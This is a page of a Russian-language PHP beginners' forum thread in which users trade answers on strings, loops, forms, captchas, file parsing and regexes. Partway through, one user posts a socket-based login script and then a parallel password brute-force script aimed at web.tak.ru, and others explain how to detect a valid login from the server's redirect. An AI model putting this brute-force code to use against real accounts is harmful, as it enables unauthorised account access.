PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 [13] 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

Piflit
04.05.2008, 20:54
if (strtoupper(substr(PHP_OS,0,3)) == 'WIN')) {dl('php_sockets.dll');}

Zircool
05.05.2008, 01:16
Вопрос.. Как с конца строки удалить последние 4 символа?
Str_replace не в теме..

Piflit
05.05.2008, 01:27
substr($string, 0, length($srting)-4);
при чем тут str_replace?

Zircool
05.05.2008, 01:36
при чем тут str_replace?
В моем случае строки выводятся из массива и окончания у них разные, проэтому твой вариант Piflit наиболее подходящей, а если бы окончания у строк были одинаковы, можно было просто заменить окончания на пробел через str_replsce.

Isis
05.05.2008, 02:45
substr($string, 0, length($srting)-4);
ты хотел сказать strlen ? :)

Shadow_p1raT
05.05.2008, 05:37
Появился ещё один вопросик:
Есть список url'ов,нужно сделать так чтобы скрипт коннектился к 1 url,a через 30сек к следующему урлу и т.д
Как коннектиться я знаю,а как сделать промежуток времени между коннектами? :confused:

VDShark
05.05.2008, 07:53
http://ru2.php.net/sleep

Zircool
05.05.2008, 09:47
Piflit я сделал немного по другому.



$kol=strlen($limon);
settype($kol,'integer');
$kol=$kol-6;
$stroka=substr($limon, 0, $kol);

Shadow_p1raT
05.05.2008, 14:08
VDShark
А можно примерчик?а то что-то до меня не доходит.

astrologer
05.05.2008, 14:38
VDShark
А можно примерчик?а то что-то до меня не доходит.<?php
sleep(30);
?>

Shadow_p1raT
05.05.2008, 14:41
Я имел в виду примерчик по своему вопросу.
Появился ещё один вопросик:
Есть список url'ов,нужно сделать так чтобы скрипт коннектился к 1 url,a через 30сек к следующему урлу и т.д
Как коннектиться я знаю,а как сделать промежуток времени между коннектами? :confused:

zythar
05.05.2008, 14:57
<?php
коннект к первому урл
sleep(время)
коннект к второму урл
sleep(время)
коннект к n-ному урл
sleep(время)
?>

Shadow_p1raT
05.05.2008, 15:00
<?php
коннект к первому урл
sleep(время)
коннект к второму урл
sleep(время)
коннект к n-ному урл
sleep(время)
?>
А если урлов больше ста и они все меняются?так ведь замучаешься писать.

astrologer
05.05.2008, 15:01
А если урлов больше ста и они все меняются?так ведь замучаешься писать.
Есть такие вещи, как циклы и массивы.

Shadow_p1raT
05.05.2008, 15:02
Есть такие вещи, как циклы и массивы.
Так вот я и прошу превести пример.

0x22b
05.05.2008, 16:19
Закинь все урлы в массив, затем делаем так:
<?php
$url = array('тут','твои','урлы');
for ($i=0; $i<count($url); $i++)
{
конект к $url[$i];
sleep(время);
}
?>

Fuckel
05.05.2008, 16:33
Shadow_p1raT
издеваешься? книги на что пишут?

<?
#В массиве $url[] находятся наши урл
foreach ($url as $key) {
коннект к $key
sleep(время);
}
?>

мазафака не успел (=

max_rebel
05.05.2008, 19:14
Всем привет!

Как установить php??
В списке пакетов в Мандриве пишу php - поиск выдаёт список пакетов со слово php - выбираю "apache-mod_php - The PHP5 HTML-embedded scripting language for use with apache​ "
Предлагает доставить миллион пакетов,.соглашаюсь,всё устанавливается. Пишу which php - получаю ответ "no php found" Подскажите как установить php чтоб странички которые я пишу работали. Чтоб не загружать каждую страницу на хостинг=(( Поподробнее если не сложно)

zythar
05.05.2008, 19:28
http://www.php.net/manual/en/
http://www.php.net/manual/en/install.unix.php

Fuckel
05.05.2008, 19:33
есть специальный паки(майсиквил, пхп, пхпмайадмин, ++) устанавливающиеся в два тыка, например, денвер или AppServ гугл знает таких.

max_rebel
05.05.2008, 19:56
Денвер я поставил в винде - сейчас разбираюсь.А как бы в линуксе поставить?=( Т.е. нет такого отдельного пакета Php чтоли?Он получается часть чегото?

-=lebed=-
05.05.2008, 20:01
Денвер я поставил в винде - сейчас разбираюсь.А как бы в линуксе поставить?=( Т.е. нет такого отдельного пакета Php чтоли?Он получается часть чегото?
Один из вариантов - php, как внешний модуль Апача, насколько мне известно...
http://www.helloworld.ru/texts/comp/inet/apache/apacheplusphp/

max_rebel
05.05.2008, 20:09
спасибо буду разбираться,только там про FreeBSD

max_rebel
05.05.2008, 20:11
Ус тановил PHP но страница в которой пара строк на php всё равно выполняется неправильно=((

max_rebel
05.05.2008, 20:15
А как мне его удалить? Так на всякий случай спрашиваю?

команда which php пишет вот так:

[max@localhost ~]$ which php
/usr/local/bin/php

max_rebel
05.05.2008, 20:23
Ладно щаз главное скажите пожалуйста как удалить тот php который я поставил=((

mff
06.05.2008, 22:17
Подскажите, как забирать новости недвижимости с какого нить сайта, к примеру с http://realty.rbc.ru/news.list.shtml

Всем спасибо! +++

xaker-boss
06.05.2008, 22:52
Proxy сервер на PHP
www.forum-mp3.org/qip2/Proxy.php.txt
Люди можно изменить этот скрипт так:
допустим сижу я в инети через этот скрипт качаю файл 123.rar и чтобы скрипт Proxy.php сохранил этот файл на сервере где лежит сам Proxy.php ???
Да и что бы если я этот фаил на комп недокачал но браузер закрыл чтобы он на сервер всё равно сохранился
Вообще возможно такое?
Каму нетрудно сделайте плиз

temp_late
07.05.2008, 02:24
Уиии, сколько тут глупостей, ну да ладно напишу, на чем стопорнулся:

Веду программный сайт, движок все сам собрал для него, сейчас начал выкладывать некоторые статьи, вообщем есть php код без подсветки, нужен скрипт который его подсвечивал, наподобе как на форумах, только нужно что бы не в bb кодах возращал а в html

Схема:
<textarea name="context">
<?php
echo 'сдесь пшп код который нужно отпформатировать';
?>
</textarea>

Из этой формы текст отправляется в скрипт:
viewcod.php
откуда уже возращается отформатированный html

GreenBear
07.05.2008, 03:13
http://ru2.php.net/manual/ru/function.highlight-string.php

SSB1981
07.05.2008, 17:04
Здравствуйте!
Пишу скрипт отправки почты и столкнулся с проблемой перевода строки в сообщении.
То есть когда пользователь нажимает enter.
Как потом вставить этот превод строки в сообщение?
Подскажите пожалуйста!

desTiny
07.05.2008, 17:10
Здравствуйте!
Пишу скрипт отправки почты и столкнулся с проблемой перевода строки в сообщении.
То есть когда пользователь нажимает enter.
Как потом вытащить этот превод строки?
Подскажите пожалуйста!
как я тебя понял: split("\r\n", $str);

SSB1981
07.05.2008, 17:43
Не, наоборот. Нужно перебросить каретку там где это сделал пользователь

FeraS
07.05.2008, 19:04
SSB1981
Попробуй вывести так:

echo '<pre>';
тут письмо
echo '</pre>';

astrologer
07.05.2008, 19:10
nl2br (http://ru2.php.net/nl2br)();

SSB1981
07.05.2008, 20:11
Спасибо всем!

max_rebel
08.05.2008, 00:12
за что все мои сообщения то удалили?

от .:EnoT:.
Тема php существует для вопросов по php, для вопросов по html есть другая тема.
Для начала нужно смотреть название темы в которую пишешь.
Все вопросы в личку.

от Isis
Enot, сообщения лучше не удалять, а переносить в соотв.тему

.:EnoT:.
08.05.2008, 00:32
Назрел вопрос:
Есть предположим 3 инпута типом радио.
Обьявляю переменную с цифрой. И в зависимости от цифры должен быть выбран соответствующий инпут (т.е. checked="checked")
пример:
<?php
$num = 2;
?>

<input type="radio" name="name" value="1"/>Инпут 1
<input type="radio" name="name" value="2"/>Инпут 2
<input type="radio" name="name" value="3"/>Инпут 3
В данном примере инпут номер 2 должен быть выбран. Т.е. <input type="radio" name="name" value="1"/>Инпут 1
<input type="radio" name="name" value="2" checked="checked"/>Инпут 2
<input type="radio" name="name" value="3"/>Инпут 3

как реализовать? Полтора часа ломаю голову, не могу понять как сделать =\

пробовал так, но это извращенство:
<?php
$num = 2;
for($i=0;$i<3;$i++)
{
$a = '';
if($i == $num)
{
$a .= 'checked="checked"';
}

echo '
<input type="radio" name="name" value="'.$i.'" '.$a.'/>Инпут '.$i.'<br/>;
}
?>
но цикл в данном случае не катит. Точнее очень нежелателен.

LolFEm
08.05.2008, 00:39
А почему цикл нежелателен. Тебе все равно прийдется выводит <input в форму...
поэтому циклом и выводи как написал...

VDShark
08.05.2008, 01:28
Во первых, не checked=checked, а просто checked.
если не хочешь циклами - вот те пример:
$num = 2;
$arr = array('1'=>'','2'=>'','3'=>'');
$arr[$num]='checked';
echo "<input type='radio' name='name' value='1' {$arr[1]}/>Инпут 1";
echo "<input type='radio' name='name' value='2' {$arr[2]}/>Инпут 2";
echo "<input type='radio' name='name' value='3' {$arr[3]}/>Инпут 3";

.:EnoT:.
08.05.2008, 01:31
Во первых, не checked=checked, а просто checked.
если не хочешь циклами - вот те пример:
$num = 2;
$arr = array('1'=>'','2'=>'','3'=>'');
$arr[$num]='checked';
echo "<input type='radio' name='name' value='1' {$arr[1]}/>Инпут 1";
echo "<input type='radio' name='name' value='2' {$arr[2]}/>Инпут 2";
echo "<input type='radio' name='name' value='3' {$arr[3]}/>Инпут 3";
Именно checked="checked", т.к. checked указывать без параметра неправилньо, да и валидатор ругатсья будет ))
За код спасибо, буду пробовать :)

[AVT]
09.05.2008, 17:26
У меня такой вопрос:
Предположим есть php скрипт, который выполняется очень долго. В процессе своей работы скрипт выводит некоторую информацию в браузер [echo]. Проблема в том, что при запуске скрипта окно браузера просто подвисает (либо информация выводится кусками), вне зависимости от того, запускаю ли я его на localhost'е или на сайте.
Может быть существует какая-нибудь функция в php, чтобы в определенном месте программа синхронизировала свою работу с браузером. Или есть другое решение?
Заранее спасибо.

GreenBear
09.05.2008, 17:29
flush() после каждого ехо

Piflit
09.05.2008, 17:29
[AVT]
http://ru2.php.net/manual-lookup.php?pattern=ob
юзаете?

d_x
10.05.2008, 03:01
Чтобы скрипт выводил сразу сообщения в браузер, нужно писать:


ob_flush();
flush();

При этом ob_start не надо использовать.

Dimi4
10.05.2008, 10:35
Именно checked="checked", т.к. checked указывать без параметра неправилньо, да и валидатор ругатсья будет ))
За код спасибо, буду пробовать :)
checked=1
по-моему правильно так

Boccob
10.05.2008, 12:23
Зависит от того, используется html или xhtml.
В xhtml все булевы атрибуты должны быть записаны в развернутой форме, т.е. checked="checked", selected="selected", причем значение должно быть только checked|selected и т.д., т.е. если значение будет 1, то валидатор точно будет ругаться.

!{ra!{e/\/
10.05.2008, 13:26
пытаюсь залогинится к tak.ru

<?php
$packet="POST /enter.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/pdf, application/x-shockwave-flash, */*\r\n";
$packet.="Accept-Language: ru\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: web.tak.ru\r\n";
$packet.="Content-Length: 52\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Connection: Keep-Alive\r\n\r\n";
$packet.="login=freetest&password=ANTICHAT&Submit=++OK++&z=enter_form";
$ock=fsockopen("web.tak.ru",80);
fputs($ock,$packet);
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
fclose($ock);
echo $html;
?>

login-freetest
pass-ANTICHAT
В чем ошибка?

Ershik
10.05.2008, 13:41
Точку забыл.
<?php
$packet.="POST /enter.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/pdf, application/x-shockwave-flash, */*\r\n";
$packet.="Accept-Language: ru\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: web.tak.ru\r\n";
$packet.="Content-Length: 52\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Connection: Keep-Alive\r\n\r\n";
$packet.="login=freetest&password=ANTICHAT&Submit=++OK++&z=enter_form";
$ock=fsockopen("web.tak.ru",80);
fputs($ock,$packet);
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
fclose($ock);
echo $html;
?>

!{ra!{e/\/
10.05.2008, 13:56
Ershik какая точка?ты о чем? так же не работает

d_x
10.05.2008, 13:58
Скрипт работает, смотри заголовки, которые возвращает сервер. А он возвращает редирект на map.php и в кукисы пишет PHPSESSID. То есть логин успешен, просто надо перейти на map.php, а не читать содержание страницы.

!{ra!{e/\/
10.05.2008, 14:07
Скрипт работает.
Тогда как узнать правильна ли пара логин+пасс?

d_x
10.05.2008, 14:09
Если логин или пасс неверен, то в заголовке не выдаётся Location: map.php
Можно вообще парсить первую строку ответа сервера:

Пасс и логин верны: HTTP/1.x 302 Found
Пасс и логин неверны: HTTP/1.x 200 OK

DEMOGORGON
10.05.2008, 14:57
Нашёл скрипт для защиты от авторегистрации. Картинку с кодом выводит, а как сделать так, чтобы извлечь сам код не знаю. Может кто подскажет?
<?php

// старт сессии
session_start();

// заголовок
header("Content-type: image/png; charset=windows-1251;");

// создание изображения
$img = imagecreate(120,60);

// генерация цвета фона
$ren_r = rand(190,255);
$ren_g = rand(190,255);
$ren_b = rand(190,255);

// настройка цвета фона
$slfon = ImageColorAllocate($img, $ren_r, $ren_g, $ren_b);


//-------------------------------- ШУМЫ ----------<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

// начальное значение циклов
$i = 1;

// включение шумов
$ellipse = 1;
$rectang = 1;
$line = 1;
$pix = 1;

/* Шум из элипсов */
if($ellipse) {

$varelp = rand(5,50);

while(++$i <= $varelp)
{


$ren_left = rand(0,150);
$ren_top = rand(0,60);
$ren_x_rad = rand(0,150);
$ren_y_rad = rand(0,60);

// генирация цвета фона
$ren_elp_r = rand(150,225);
$ren_elp_g = rand(150,225);
$ren_elp_b = rand(150,225);

// настройка цвета фона
$elp = ImageColorAllocate($img, $ren_elp_r, $ren_elp_g, $ren_elp_b);

imageellipse ($img, $ren_left, $ren_top, $ren_x_rad, $ren_y_rad, $elp);

}
}


/* Шум из прямоугольников */
if($rectang) {

$varrect = rand(5,50);


while(++$i <= $varrect)
{


$ren_x1_rect = rand(0,120);
$ren_y1_rect = rand(0,60);
$ren_x2_rect = rand(0,120);
$ren_y2_rect = rand(0,60);

// генирация цвета фона
$ren_rect_r = rand(150,225);
$ren_rect_g = rand(150,225);
$ren_rect_b = rand(150,225);

// настройка цвета фона
$rect = ImageColorAllocate($img, $ren_rect_r, $ren_rect_g, $ren_rect_b);

imagerectangle ($img, $ren_x1_rect, $ren_y1_rect, $ren_x2_rect, $ren_y2_rect, $rect);


}
}



/* Шум из линий */
if($line) {

$varline = rand(0,50);

while(++$i <= $varline)
{

$line_x1 = rand(0,120);
$line_y1 = rand(0,60);
$line_x2 = rand(0,120);
$line_y2 = rand(0,60);

// генирация цвета линий
$ren_line_r = rand(0,200);
$ren_line_g = rand(0,200);
$ren_line_b = rand(0,200);

// настройка цвета линий
$line_c = ImageColorAllocate($img, $ren_line_r, $ren_line_g, $ren_line_b);

// настройка цвета линий
imageline ($img, $line_x1, $line_y1, $line_x2, $line_y2, $line_c);

}
}


/* Шум из пикселей */
if($pix) {

$varpix = rand(10,150);

while(++$i <= $varpix)
{

$pix_x = rand(0,120);
$pix_y = rand(0,60);

// генирация цвета линий
$ren_pix_r = rand(0,255);
$ren_pix_g = rand(0,255);
$ren_pix_b = rand(0,255);

// настройка цвета линий
$pix_c = ImageColorAllocate($img, $ren_pix_r, $ren_pix_g, $ren_pix_b);

ImageSetPixel($img, $pix_x, $pix_y, $pix_c);

}
}


//-------------------------------- ЦИФРЫ ----------<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

// генерация чисел на изображении
$ren_c1 = rand(0,9);
$ren_c2 = rand(0,9);
$ren_c3 = rand(0,9);
$ren_c4 = rand(0,9);
$ren_c5 = rand(0,9);

// массив из цифр
$code_mass = array($ren_c1,$ren_c2,$ren_c3,$ren_c4,$ren_c5);

// формирование числа
$code = implode("", $code_mass);

// запись числа в сессию
$_SESSION['imgcode'] = $code;

// отпуск от левого края, слова
$ren_xp = rand(0,5);

// расстояние между буквами
$ras_bukv = 21;

// случайный размер букв
$ot_fs = 25;
$do_fs = 30;

// случайная положение y слова
$yb_ot = 20;
$yb_do = 60;

// генерация цвета текста 1
$ren_r_с1 = rand(0,150);
$ren_g_с1 = rand(0,150);
$ren_b_с1 = rand(0,150);

// генерация цвета текста 2
$ren_r_с2 = rand(0,150);
$ren_g_с2 = rand(0,150);
$ren_b_с2 = rand(0,150);

// генерация цвета текста 3
$ren_r_с3 = rand(0,150);
$ren_g_с3 = rand(0,150);
$ren_b_с3 = rand(0,150);

// генерация цвета текста 4
$ren_r_с4 = rand(0,150);
$ren_g_с4 = rand(0,150);
$ren_b_с4 = rand(0,150);

// генерация цвета текста 5
$ren_r_с5 = rand(0,150);
$ren_g_с5 = rand(0,150);
$ren_b_с5 = rand(0,150);

// настройка цвета текста
$c1 = imagecolorallocate ($img, $ren_r_с1, $ren_g_с1, $ren_b_с1);
$c2 = imagecolorallocate ($img, $ren_r_с2, $ren_g_с2, $ren_b_с2);
$c3 = imagecolorallocate ($img, $ren_r_с3, $ren_g_с3, $ren_b_с3);
$c4 = imagecolorallocate ($img, $ren_r_с4, $ren_g_с4, $ren_b_с4);
$c5 = imagecolorallocate ($img, $ren_r_с5, $ren_g_с5, $ren_b_с5);

// случайный поворот букв
$ren_turn1 = rand(-35,35);
$ren_turn2 = rand(-35,35);
$ren_turn3 = rand(-35,35);
$ren_turn4 = rand(-35,35);
$ren_turn5 = rand(-35,35);

// случайная положение y буквы
$ren_ht1 = rand($yb_ot,$yb_do);
$ren_ht2 = rand($yb_ot,$yb_do);
$ren_ht3 = rand($yb_ot,$yb_do);
$ren_ht4 = rand($yb_ot,$yb_do);
$ren_ht5 = rand($yb_ot,$yb_do);

// случайная положение x буквы
$ren_x1 = rand(0 + $ren_xp,$ras_bukv + $ren_xp);
$ren_x2 = rand($ras_bukv + $ren_xp,$ras_bukv*2 + $ren_xp);
$ren_x3 = rand($ras_bukv*2 + $ren_xp,$ras_bukv*3 + $ren_xp);
$ren_x4 = rand($ras_bukv*3 + $ren_xp,$ras_bukv*4 + $ren_xp);
$ren_x5 = rand($ras_bukv*4 + $ren_xp,$ras_bukv*5 + $ren_xp);

// случайная размер буквы
$ren_fase1 = rand($ot_fs,$do_fs);
$ren_fase2 = rand($ot_fs,$do_fs);
$ren_fase3 = rand($ot_fs,$do_fs);
$ren_fase4 = rand($ot_fs,$do_fs);
$ren_fase5 = rand($ot_fs,$do_fs);

// массив со шрифтами
$fonts = array('ARS','BETINA','BRUSHSCR','BASKR_LI');
$sf = count($fonts);
$sf = $sf - 1;

// случайный шрифт 1
$ren_fc1 = rand(0,$sf);
$ren_font1 = $fonts[$ren_fc1] . ".ttf";

// случайный шрифт 2
$ren_fc2 = rand(0,$sf);
$ren_font2 = $fonts[$ren_fc2] . ".ttf";

// случайный шрифт 3
$ren_fc3 = rand(0,$sf);
$ren_font3 = $fonts[$ren_fc3] . ".ttf";

// случайный шрифт 4
$ren_fc4 = rand(0,$sf);
$ren_font4 = $fonts[$ren_fc4] . ".ttf";

// случайный шрифт 5
$ren_fc5 = rand(0,$sf);
$ren_font5 = $fonts[$ren_fc5] . ".ttf";

// настройка цифры 1
imagettftext ($img, $ren_fase1, $ren_turn1, $ren_x1, $ren_ht1, $c1, $ren_font1, $ren_c1);

// настройка цифры 2
imagettftext ($img, $ren_fase2, $ren_turn2, $ren_x2, $ren_ht2, $c2, $ren_font2, $ren_c2);

// настройка цифры 3
imagettftext ($img, $ren_fase3, $ren_turn3, $ren_x3, $ren_ht3, $c3, $ren_font3, $ren_c3);

// настройка цифры 4
imagettftext ($img, $ren_fase4, $ren_turn4, $ren_x4, $ren_ht4, $c4, $ren_font4, $ren_c4);

// настройка цифры 5
imagettftext ($img, $ren_fase5, $ren_turn5, $ren_x5, $ren_ht5, $c5, $ren_font5, $ren_c5);



//--------------------------- ВЫВОД ИЗОБРАЖЕНИЯ -----<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<


ImageFill($img, 0, 0, $slfon);

Imagepng($img);

// разрушение изображения
ImageDestroy($img);

?>

Boccob
10.05.2008, 15:32
Код находится в $code.
Затем загоняется в $_SESSION['imgcode']
Оттуда и бери.

!{ra!{e/\/
10.05.2008, 18:39
"симулирую" многопоточный брут

<?php

$max_threads = 5;//Максимальное количество потоков
set_time_limit(320); // Лимит времени на выполнение.

$get_array[0] = "freetest";//Создаем массив в котором будут находится наши данные для каждого запроса. В данном случае в нем просто числа.
$get_array[1] = "krakem";//Создаем массив в котором будут находится наши данные для каждого запроса. В данном случае в нем просто числа.
$get_array[2] = "ucoz";//Создаем массив в котором будут находится наши данные для каждого запроса. В данном случае в нем просто числа.
$get_array[3] = "rucoz";
$get_array_name[0]="ANTICHAT";
$get_array_name[1]="passwqw";
$get_array_name[2]="453wccw91";
$get_array_name[3]="ne2tpass123";

echo("Всего запросов: " . count($get_array) . "<BR> Поехали! <BR>");

$sockets = array(); //В этом массиве находятся открытые сокеты
$done = false;// Флаг $done используется для остановки скрипта после выполнения работы
$curr = 0; // $curr - будет текущим элементом из всего массива запросов
while (!$done)
{
while (($max_threads > count($sockets)) && ($curr < count($get_array))) // Если количество активных сокетов меньше константы и $curr не превысил допустимые нормы, то запускаем скрипт, который создает недостающее количество сокетов
{
$packet.="POST /enter.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/pdf, application/x-shockwave-flash, */*\r\n";
$packet.="Accept-Language: ru\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: web.tak.ru\r\n";
$packet.="Content-Length: 52\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Connection: Keep-Alive\r\n\r\n";
$packet.="login=$get_array[$curr]&password=$get_array_name[$curr]&Submit=++OK++&z=enter_form";

$errno = 0;
$error = "";
$sockets[$curr] = fsockopen("web.tak.ru",80);// открываем новый сокет
stream_set_blocking($sockets[$curr], 0);
stream_set_timeout($sockets[$curr], 3600);
fputs($sockets[$curr], $packet);// Посылаем в этот сокет наш запрос
echo("Создан сокет: " . $curr . "<br>");
$curr = $curr + 1;// Переходим к следующему элементу массива
}
sleep(1);// Чтобы не сильно загружать сервер будем проверять данные по всем сокетам через 1 секунду
foreach($sockets as $key => $val)
{

$temp[$key] = fgets($sockets[$key]); // Получаем данные из текущего сокета [ данных может и не быть ]
///echo("Прочитали данные из сокета: " . $key . "<br><textarea>");// Для удобства я поместил их в теги <textarea>
///echo($temp . "</textarea><p>");

if (feof($sockets[$key]))// Если данные закончилисть
{
unset($sockets[$key]); //то удаляем отработавший сокет из массива
echo("Удален сокет: " . $key . "<br>");
}
}
echo("Сейчас обрабатывается: " . count($sockets) . " сокетов<BR>");

// если нет активных сокетов, то можно выходить
if (count($sockets) == 0) $done = true;
}
for ($i=0;$i<5;$i++)
{
if ((strpos($temp[$i],"302 Found"))>0) echo " $get_array[$i] $get_array_name[$i]-- Пароль правильный";
else echo " $get_array[$i] $get_array_name[$i]--Не правильный пароль ";
}

echo("Конец");

?>

:confused: нипойму почему не работает...и скорость почему такая

d_x
10.05.2008, 19:11
С каких пор php стал поддерживать многопоточность?

!{ra!{e/\/
10.05.2008, 19:18
С каких пор php стал поддерживать многопоточность?
поправил "симулирую" многопоточный брут ...
А собствнно ошибку какую я допустил?

Karapuziko
10.05.2008, 23:29
Снифер тебе в помощь?!!

!{ra!{e/\/
11.05.2008, 14:05
скрипт

<?php
$f_file=file("logins.txt");
$f_true[0]="fdrucoz";
echo $f_file[0]." Проверка ".$f_true[0]."<br>";
if ($f_true[0]==$f_file[0]) echo "Они равны";
else echo "Не равны";
?>

файл
logins.txt

fdrucoz
fdrucoz1243
fdrucoz3223

запускаю пишет

fdrucoz Проверка fdrucoz
Не равны

Это как так может быть?

d_x
11.05.2008, 14:14
<?php
$f_file=file("logins.txt");
$f_true[0]="fdrucoz";

for($i=0,$cnt=count($f_file);$i<$cnt;$i++)
{
$f_file[$i]=trim($f_file[$i]);
}


echo $f_file[0]." Проверка ".$f_true[0]."<br>";
if ($f_true[0]==$f_file[0]) echo "Они равны";
else echo "Не равны";
?>

Функция file() оставляет символы перевода каретки/новой строки в конце каждой переменной.

bomber
12.05.2008, 19:59
помогите со скриптом, который удалял бы в текстовом файле лишнее после второго - |

тоисть так допустим есть:

слово1|слово2|слово3
слово1|слово2|слово3|слово4

а нужно чтобы остались только два слова:

слово1|слово2

а все лишнее отсекалось

desTiny
12.05.2008, 20:42
помогите со скриптом, который удалял бы в текстовом файле лишнее после второго - |

тоисть так допустим есть:

слово1|слово2|слово3
слово1|слово2|слово3|слово4

а нужно чтобы остались только два слова:

слово1|слово2

а все лишнее отсекалось
$str = substr($str, 0, strpos($str, "|", strpos($str, "|")+1));

Nightmarе
12.05.2008, 21:20
как определить MAC aдрес на php ???

xcedz
12.05.2008, 21:29
как определить MAC aдрес на php ???


есл и тока стороннюю библиотеку заюзать написанную на си :(

GreenBear
12.05.2008, 21:29
bomber,

$fp = fopen('file', 'r');
$w = fopen('file_result', 'w');
while(!feof($fp)){
list($a, $b) = explode('|', $str);
fwrite($w, "$a|$b\n");
}
fclose($fp);
fclose($w);

GreenBear
12.05.2008, 21:40
Nightmarе,

preg_match('/(\w+\:\w+\:\w+\:\w+\:\w+\:\w+)/', exec("ifconfig | grep 'HWaddr'"), $out);
echo $out[1];

Nightmarе
12.05.2008, 21:52
Nightmarе,

preg_match('/(\w+\:\w+\:\w+\:\w+\:\w+\:\w+)/', exec("ifconfig | grep 'HWaddr'"), $out);
echo $out[1];

попробовал ничего не выводит ;(

GreenBear
12.05.2008, 21:57
ОС ?

xcedz
12.05.2008, 22:00
основа ARP таблице под никсы

<?php
function resolve_mac_for_ip($ip){
$found_mac = NULL;
$f_in = fopen("/proc/net/arp","r");
if ($f_in != NULL){
fgets($f_in);
while (!feof($f_in)){
$t = fgets($f_in);
if ($t != NULL){
$str_split = preg_split ("/[\s]+/", $t);
if ($str_split[0]==$ip) {
$found_mac = $str_split[3];
break;
};
};
};
fclose($f_in);
};
return $found_mac;
};

echo "Ваш IP=",$_SERVER["REMOTE_ADDR"]," и MAC=",resolve_mac_for_ip($_SERVER["REMOTE_ADDR"]);

?>

Sleep
12.05.2008, 22:00
2GreenBear
fread|fgets забыл :)

<?php
$fp = fopen('file.txt', 'r');
$w = fopen('file_result.txt', 'a+');
while(!feof($fp))
{
$str = fgets ($fp, 1024);
list($a, $b) = explode('|', $str);
fwrite($w, $a."|".$b."\n");
}
fclose($fp);
fclose($w);
?>

Nightmarе
12.05.2008, 22:05
ОС ?
Линукс

основа ARP таблице под никсы

<?php
function resolve_mac_for_ip($ip){
$found_mac = NULL;
$f_in = fopen("/proc/net/arp","r");
if ($f_in != NULL){
fgets($f_in);
while (!feof($f_in)){
$t = fgets($f_in);
if ($t != NULL){
$str_split = preg_split ("/[\s]+/", $t);
if ($str_split[0]==$ip) {
$found_mac = $str_split[3];
break;
};
};
};
fclose($f_in);
};
return $found_mac;
};

echo "Ваш IP=",$_SERVER["REMOTE_ADDR"]," и MAC=",resolve_mac_for_ip($_SERVER["REMOTE_ADDR"]);

?>


на линкусе всё после MAC= вылетает ошибка :(

GreenBear
13.05.2008, 00:21
function_exists('exec') ? print 'ok' : print 'fail';
что выведет?
основа ARP таблице под никсы
в ней ведь и так пишется мак . не проще его сразу регуляркой вырезать?

bomber
13.05.2008, 11:40
bomber,

$fp = fopen('file', 'r');
$w = fopen('file_result', 'w');
while(!feof($fp)){
list($a, $b) = explode('|', $str);
fwrite($w, "$a|$b\n");
}
fclose($fp);
fclose($w);


чет неидет

получается бесконечный процеес, где идет постоянная запись символа - | по одному на каждую строчку без $a и $b

после

Maximum execution time of 90 seconds exceeded

из 300kb вышло - 6mb

bomber
13.05.2008, 11:43
2GreenBear
fread|fgets забыл :)

<?php
$fp = fopen('file.txt', 'r');
$w = fopen('file_result.txt', 'a+');
while(!feof($fp))
{
$str = fgets ($fp, 1024);
list($a, $b) = explode('|', $str);
fwrite($w, $a."|".$b."\n");
}
fclose($fp);
fclose($w);
?>


во, этот заработал!

теперь бы найти способ удалить пустые строки :(

groundhog
13.05.2008, 11:50
<?php
$fp = fopen('file.txt', 'r');
$w = fopen('file_result.txt', 'a+');
while(!feof($fp))
{
$str = fgets ($fp, 1024);
if (trim($str) != '') {
list($a, $b) = explode('|', $str);
fwrite($w, $a."|".$b."\n");
}
}
fclose($fp);
fclose($w);
?>

GreenBear
13.05.2008, 11:53
if(trim($a.$b) != '') fwrite($w, $a."|".$b."\n");

На100ящий
13.05.2008, 14:35
<?php
$text = '<a href="http://8">Привет</a>'; /* Есть вот эта строка
$out = array();
preg_match_all('|<a.* href=(.*)>(.*)</a>|U', $text, $out); Нужно получить слово "Привет" в массив и вывести это слово. Другими функциями не подойдёт, так как слово будет менятся, увеличиватся символы или уменьшатся..
echo $out[1]; /*Выводит "Array"
echo $out; /*Выводит "Array"
?>
Помогите пожалуйста.

groundhog
13.05.2008, 15:47
<?php

$text = '<a href="http://someurl">Привет</a>';

if (preg_match('/<a.* href="(.*)"{0,1}>(.*)<\/a>/iU', $text, $matches))
print($matches[2]);

?>

Buffalon
13.05.2008, 16:59
<?php
$text = '<a href="http://8">Привет</a>'; /* Есть вот эта строка
$out = array();
preg_match_all('|<a.* href=(.*)>(.*)</a>|U', $text, $out); Нужно получить слово "Привет" в массив и вывести это слово. Другими функциями не подойдёт, так как слово будет менятся, увеличиватся символы или уменьшатся..
echo $out[1]; /*Выводит "Array"
echo $out; /*Выводит "Array"
?>
Помогите пожалуйста.
Ты используешь preg_match_all ... .А там $out[0][0]
А вот у preg_match будет так $out[0]

На100ящий
13.05.2008, 17:36
